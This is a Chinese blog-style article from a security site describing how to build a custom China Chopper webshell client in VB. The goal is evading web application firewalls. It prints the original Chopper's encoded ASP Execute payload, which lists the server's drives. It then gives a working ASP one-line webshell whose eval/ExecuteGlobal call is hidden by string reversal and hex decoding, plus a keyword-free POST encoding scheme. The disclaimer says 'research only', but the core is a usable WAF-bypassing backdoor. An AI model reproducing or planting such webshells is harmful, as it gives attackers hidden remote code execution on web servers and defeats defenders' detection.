我是这样打造自已的“菜刀”的,让一句话飞一会

浏览:
字体:
发布时间:2013-12-09 23:23:31
来源:
本文内容仅供研究,请勿用于非法用途!!!

   很久很久以前,我在管理服务器的时候总喜欢放个一句话,然后菜刀连之,管理网站又方

便又简单。

   后来X客、X客、X客…… 也使用同样的方法“管理”网站和服务器。网站木马的查杀遇到

了不少困难,各种隐藏、编码。

   再后来研究攻击的同学都改行做防御了,于是狗、神、盾…… 出现并且普及了。为了方便

我也在服务器上装了X狗,虽然起到了一定的作用,但是菜刀也就没法用了。用OD修改了菜刀

但用了不长时间又不能用了(想必用此方法的坏同学不少),多次修改后发现关键代码都写到

服务端了。这其间给自己带来了不少麻烦,于是决定研究一下菜刀和X狗(神、盾没研究过,

原理应该相近);于是就有了这篇文章,方便遇到同样问题的网管朋友解决问题。

  本文没什么技术,也没有什么水平,仅供消遣大牛勿喷。

  下面开始我们的自写菜刀之旅吧……

  工具:任意一面向对象的编程语言(我用的是VB)
        原版菜刀(不好意思了,为了加快打造进程,拿来截一下数据,拿来主义……)


        WinSock Expert(任意可截数据包的工具都行,不一定非要这个)
        ASP+.NET+PHP运行环境(至于JSP、CFM等,自已发挥吧)
        (BurpSuite-Repeater)/(WinSock Expert-NC)/(Firefox-Hackbar)(可以Post数

据的都行,方便调试的)
        SQL(这个是必须的,至少要懂ACCESS)


  步骤:



Step1: (VB)新建窗体,在窗体上画好控件。要用到的控件有SSTab、ListView、TextBox、TreeView、PictureBox、CommonDialog、ComboBox、StatusBar、CommandButton、Inet、ImageList、Label、Adodc、RichTextBox、Timer。

1、主窗体布局
主窗体布局

2、文件管理窗体布局
文件管理窗体布局

3、数据库管理窗体布局
数据库管理

4、文件编辑窗体布局
文件编辑

5、虚拟终端窗体布局
虚拟终端




Step2:截取原版菜刀和服务端的往来数据包加以分析
    原菜刀Post的数据(ASP)如下:
原菜刀

其中有N多WAF检查的关健字,我的目标是让Post的数据中不存在任何关健字。
原菜刀Post到服务端的数据经解码后如下(我使用的服务端是<%eval request("z")%>):
 
z=Execute("Execute(""On+Error+Resume+Next:Function+bd(byVal+s):For+i=1+To+Len(s)+Step+2:c=Mid(s,i,2):If+IsNumeric(Mid(s,i,1))+Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End+If""&chr(10)&""Next:End+Function:Response.Write(""""->|""""):Execute(""""On+Error+Resume+Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")

多次思量之后我决定将bd(Str)这个函数写进服务端,经过改进后服务端代码如下:
<%Function MorfiCoder(Code)  MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"/*/",vbCrlf)End FunctionFunction bd(ByVal s)For i = 1 To Len(s) Step 2c = Mid(s, i, 2)If IsNumeric(Mid(s, i, 1)) Then    bd = bd & Chr("&H" & c)Else    bd = bd & Chr("&H" & c & Mid(s, i + 2, 2))i = i + 2End IfNextEnd FunctionExecuteGlobal MorfiCoder("))))/*/z/*/(tseuqer(db(redoCifroM( etucexe")%>

   客户端的Post的代码如下:

Post("z=" & be(DeMorfiCoder(Data)))——————伪代码

    be(str)为bd(str)的编码函数;
DeMorfiCoder(str)为MorfiCoder(str)的编码函数;

    其实MorfiCoder(Code)和bd(ByVal s)用一个就可达到满意的效果了,我使用两个只是画蛇添足而已。另外也不仅仅只限这两个函数,只要可以编码字符串并可写出解码还原的函数都可以(注意传输过程中的转义等等)。
    至此只剩下服务端一个关键字,而且在Post的数据中也不再有任何关键字了(原菜刀的z0、z1等也可以通过更改Post数据来替换)。
My Chopper




Step3:接收返回数据,进行字串处理

    原版菜刀返回数据的格式(Readme.txt中也有):
->|c:/inetpub/wwwroot  C:D:E:F:G:H:I:J:K:|<-

    我并没有采用这种格式,我是将返回的数据前加一段字符串以区分获取目录、读写文件等不同的操作。
我使用的格式是:Step1{||}c:/inetpub/wwwroot{||}C:/D:/E:/F:/G:/H:/I:/J:/K:/{||}
StepX用于区分不同的操作,之后将字符串以{||}分割存入数组以进行下一步操作。

    在获得返回数据并具存入数组后,就可以开始TreeView和ListView等事件的编写了。这些都依照原版菜刀,在这个过程中我也加入了菜刀不具有的功能,比如查询主机的地理位置、更改文件属性等。



最终效果:

1、客户端列表
a

2、文件列表
b

3、数据库管理
c

4、文件编辑
d

5、虚拟终端
e

   不知道现在的WAF有没有拦截返回数据的,我使用的菜刀只对数据进行了单向编码;如果返回数据中也有敏感字符的话,是不是也会被拦呢…… 那时返回数据也得进行编码了,客户端接收到数据后再解码还原。至于服务端代码,除非完全杀了Eval、Execute、ExecuteGlobal、assert、include……否则是不能赶尽杀绝的(最根本的方案是厂商在Web容器中检测危险代码,容器环境中的检测均会出现N多绕过——我的愚见)。

如果您是程序猿的话,我所写的这些对您来说简直是垃圾中的垃圾,勿喷……*^_^* 
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();